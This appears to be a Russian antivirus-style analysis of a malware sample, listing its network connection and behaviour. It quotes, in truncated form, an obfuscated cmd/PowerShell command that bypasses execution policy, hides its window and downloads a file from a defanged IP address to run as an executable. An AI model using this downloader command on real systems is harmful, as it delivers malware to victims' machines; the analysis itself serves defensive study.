Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://10#.#93.226.113/11.mov как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POwE^rShelL.E^XE^ -E^XeCuT^ion^POLIC^Y^ ^bypAss -^nO^p^r^O^f^iL^e -W^iNdO^wStyl^e HId^D^E^n^ (NEW-O^B^jecT ^S^ySTem.NeT^.weB^CL^IENT).downl^O^ADfILE^('http://10#.#93.226.113/11...
Сетевая активность
Подключается к
- '10#.#93.226.113':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POwE^rShelL.E^XE^ -E^XeCuT^ion^POLIC^Y^ ^bypAss -^nO^p^r^O^f^iL^e -W^iNdO^wStyl^e HId^D^E^n^ (NEW-O^B^jecT ^S^ySTem.NeT^.weB^CL^IENT).downl^O^ADfILE^('http://10#.#93.226.113/11...' (со скрытым окном)
